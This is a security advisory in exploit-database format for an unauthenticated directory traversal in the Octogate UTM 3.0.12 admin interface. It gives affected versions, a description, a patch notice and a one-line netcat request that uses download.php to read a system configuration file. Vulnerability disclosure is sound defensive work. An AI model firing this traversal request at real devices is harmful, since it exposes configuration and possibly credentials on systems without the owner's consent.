50 lines
No EOL
1.3 KiB
Text
50 lines
No EOL
1.3 KiB
Text
# Exploit Title: Octogate UTM Admin Interface Directory Traversal
|
|
# Date: 26.08.2015
|
|
# Software Link: http://www.octogate.com
|
|
# Exploit Author: Oliver Karow
|
|
# Contact: oliver.karow@gmx.de
|
|
# Website: http://www.oliverkarow.de
|
|
# Category: Remote Exploit
|
|
|
|
|
|
Affected Products/Versions
|
|
--------------------------
|
|
|
|
Product Name: Octogate
|
|
Version: 3.0.12 - Virtual Appliance & Appliance
|
|
|
|
|
|
Product/Company Information
|
|
---------------------------
|
|
|
|
Octogate is a UTM Device, including the following features: Application
|
|
Firewall, Intrusion Detection and -Prevention, Stateful- & Deep Packet
|
|
Inspection, DoS- and DDoS protection and Reverse Proxy.
|
|
|
|
Octogate IT Security Systems GmbH is based in Germany.
|
|
|
|
|
|
Vulnerability Description
|
|
-------------------------
|
|
|
|
Octogate UTM Device is managed via web interface. The download function
|
|
for SSL-Certifcate and Documentation is accessable without
|
|
authentication, and allows access to files outside of the web root via
|
|
the script /scripts/download.php.
|
|
|
|
Example request:
|
|
|
|
echo -en
|
|
"GET /scripts/download.php?file=/../../../../../../octo/etc/ini.d/octogate.ini&type=dl
|
|
HTTP/1.0\r\nHost: 192.168.0.177\r\nReferer:
|
|
http://192.168.0.177\r\nConnection: close\r\n\r\n" | nc 192.168.0.177 80
|
|
|
|
Patch Information
|
|
-----------------
|
|
|
|
Patch is available from vendor.
|
|
|
|
Advisory Information
|
|
--------------------
|
|
|
|
http://www.oliverkarow.de/research/octogate.txt |